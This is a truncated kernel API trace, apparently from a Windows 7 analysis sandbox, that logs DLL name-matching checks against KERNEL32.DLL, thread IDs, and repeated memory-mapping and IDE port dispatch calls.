FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\version.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0093.248] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff8800308b150, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c84000 [0093.248] IdePortDispatch () returned 0x103 [0093.249] IdePortDispatch () returned 0x103 [0093.249] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff8800308b150, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c85000 [0093.249] IdePortDispatch () returned 0x103 [0093.249] IdePortDispatch () returned 0x103 [0094.889] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\mswsock.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0094.891] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\WSHTCPIP.DLL", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0095.072] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wship6.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0095.283] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\netjoin.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0099.067] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0099.300] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\propsys.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 311 os_tid = 0x4e0 Thread: id = 313 os_tid = 0x4f0 Thread: id = 314 os_tid = 0x4f8 Thread: id = 319 os_tid = 0x434 Thread: id = 320 os_tid = 0x430 Thread: id = 326 os_tid = 0x53c Thread: id = 439 os_tid = 0x710 [0105.304] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wbem\\WMIsvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0105.312] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wbemcomn.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 444 os_tid = 0x724 [0106.001] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\iphlpsvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0106.021] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\winnsi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0106.022] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\FirewallAPI.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0106.022] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\IPHLPAPI.DLL", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0106.023] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\FWPUCLNT.DLL", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0106.023] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rtutils.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0106.029] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sqmapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0106.036] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wdscore.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 445 os_tid = 0x728 Thread: id = 446 os_tid = 0x72c [0106.887] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\srvsvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0106.894] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\browser.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0107.097] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\netmsg.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0107.233] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sscore.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0107.261] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\clusapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0107.267] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0107.304] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\resutils.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0107.745] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dhcpcsvc6.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0107.813] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dhcpcsvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 447 os_tid = 0x730 [0106.790] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\netcfgx.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0106.862] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\devrtl.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0107.110] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\nci.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0107.612] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dnsapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 448 os_tid = 0x734 Thread: id = 449 os_tid = 0x738 [0107.527] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\hnetcfg.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0107.602] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wbem\\wbemprox.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0107.699] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wbem\\wmiutils.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0107.732] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b2d000 [0107.732] IdePortDispatch () returned 0x103 [0107.753] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wbem\\repdrvfs.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0107.823] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d92000 [0107.823] IdePortDispatch () returned 0x103 [0107.841] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cb6000 [0107.841] IdePortDispatch () returned 0x103 [0107.851] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cbe000 [0107.851] IdePortDispatch () returned 0x103 [0107.883] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003557000 [0107.883] IdePortDispatch () returned 0x103 [0107.902] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c7000 [0107.902] IdePortDispatch () returned 0x103 [0107.916] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bcb000 [0107.916] IdePortDispatch () returned 0x103 [0107.917] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bcd000 [0107.918] IdePortDispatch () returned 0x103 [0107.918] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bcf000 [0107.918] IdePortDispatch () returned 0x103 [0107.919] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bd1000 [0107.919] IdePortDispatch () returned 0x103 [0107.920] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bd3000 [0107.920] IdePortDispatch () returned 0x103 [0107.926] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c24000 [0107.927] IdePortDispatch () returned 0x103 [0107.932] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cb4000 [0107.932] IdePortDispatch () returned 0x103 [0107.972] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cb4000 [0107.973] IdePortDispatch () returned 0x103 [0107.975] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d3a000 [0107.975] IdePortDispatch () returned 0x103 [0107.975] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d3c000 [0107.975] IdePortDispatch () returned 0x103 [0107.975] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d3e000 [0107.975] IdePortDispatch () returned 0x103 [0107.976] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d41000 [0107.976] IdePortDispatch () returned 0x103 [0108.094] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c8000 [0108.094] IdePortDispatch () returned 0x103 [0108.215] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034e0000 [0108.215] IdePortDispatch () returned 0x103 [0108.221] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bb1000 [0108.221] IdePortDispatch () returned 0x103 [0108.222] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bb5000 [0108.222] IdePortDispatch () returned 0x103 [0108.222] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bb9000 [0108.222] IdePortDispatch () returned 0x103 [0108.223] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bbc000 [0108.223] IdePortDispatch () returned 0x103 [0108.223] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bc0000 [0108.224] IdePortDispatch () returned 0x103 [0108.224] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bc4000 [0108.224] IdePortDispatch () returned 0x103 [0108.224] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bc6000 [0108.259] IdePortDispatch () returned 0x103 [0108.260] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bcb000 [0108.260] IdePortDispatch () returned 0x103 [0108.260] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bcf000 [0108.260] IdePortDispatch () returned 0x103 [0108.261] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bd2000 [0108.261] IdePortDispatch () returned 0x103 [0108.261] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bd7000 [0108.261] IdePortDispatch () returned 0x103 [0108.262] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bdb000 [0108.262] IdePortDispatch () returned 0x103 [0108.264] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bf4000 [0108.264] IdePortDispatch () returned 0x103 [0108.264] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bf7000 [0108.264] IdePortDispatch () returned 0x103 [0108.270] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bfb000 [0108.270] IdePortDispatch () returned 0x103 [0108.270] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bfd000 [0108.270] IdePortDispatch () returned 0x103 [0108.271] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c00000 [0108.271] IdePortDispatch () returned 0x103 [0108.271] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c03000 [0108.271] IdePortDispatch () returned 0x103 [0108.272] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c06000 [0108.272] IdePortDispatch () returned 0x103 [0108.272] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c0a000 [0108.272] IdePortDispatch () returned 0x103 [0108.284] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c0d000 [0108.284] IdePortDispatch () returned 0x103 [0108.292] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c10000 [0108.292] IdePortDispatch () returned 0x103 [0108.294] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c13000 [0108.294] IdePortDispatch () returned 0x103 [0108.295] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c16000 [0108.295] IdePortDispatch () returned 0x103 [0108.305] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c19000 [0108.305] IdePortDispatch () returned 0x103 [0108.314] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c1b000 [0108.314] IdePortDispatch () returned 0x103 [0108.317] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c1e000 [0108.317] IdePortDispatch () returned 0x103 [0108.320] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c21000 [0108.320] IdePortDispatch () returned 0x103 [0108.321] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c24000 [0108.321] IdePortDispatch () returned 0x103 [0108.321] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c26000 [0108.321] IdePortDispatch () returned 0x103 [0108.322] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c28000 [0108.322] IdePortDispatch () returned 0x103 [0108.323] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c2b000 [0108.323] IdePortDispatch () returned 0x103 [0108.323] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c2e000 [0108.323] IdePortDispatch () returned 0x103 [0108.339] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c87000 [0108.339] IdePortDispatch () returned 0x103 [0108.339] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c8b000 [0108.339] IdePortDispatch () returned 0x103 [0108.340] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c8d000 [0108.340] IdePortDispatch () returned 0x103 [0108.344] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dad000 [0108.345] IdePortDispatch () returned 0x103 [0108.346] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002db0000 [0108.346] IdePortDispatch () returned 0x103 [0108.348] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002db3000 [0108.348] IdePortDispatch () returned 0x103 [0108.444] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b63000 [0108.444] IdePortDispatch () returned 0x103 [0108.453] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b94000 [0108.453] IdePortDispatch () returned 0x103 [0108.484] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b98000 [0108.484] IdePortDispatch () returned 0x103 [0108.487] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bb9000 [0108.487] IdePortDispatch () returned 0x103 [0108.487] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bbc000 [0108.487] IdePortDispatch () returned 0x103 [0108.490] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bbf000 [0108.490] IdePortDispatch () returned 0x103 [0108.491] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bc2000 [0108.491] IdePortDispatch () returned 0x103 [0108.492] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bc5000 [0108.492] IdePortDispatch () returned 0x103 [0108.492] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bc8000 [0108.492] IdePortDispatch () returned 0x103 [0108.493] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bcb000 [0108.493] IdePortDispatch () returned 0x103 [0108.494] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bcf000 [0108.494] IdePortDispatch () returned 0x103 [0108.494] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bd2000 [0108.494] IdePortDispatch () returned 0x103 [0108.495] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bd5000 [0108.495] IdePortDispatch () returned 0x103 [0108.496] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bd8000 [0108.496] IdePortDispatch () returned 0x103 [0108.496] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bdb000 [0108.496] IdePortDispatch () returned 0x103 [0108.497] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bde000 [0108.497] IdePortDispatch () returned 0x103 [0108.497] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000be1000 [0108.498] IdePortDispatch () returned 0x103 [0108.498] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000be4000 [0108.498] IdePortDispatch () returned 0x103 [0108.499] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000be8000 [0108.499] IdePortDispatch () returned 0x103 [0108.499] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000beb000 [0108.499] IdePortDispatch () returned 0x103 [0108.512] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, 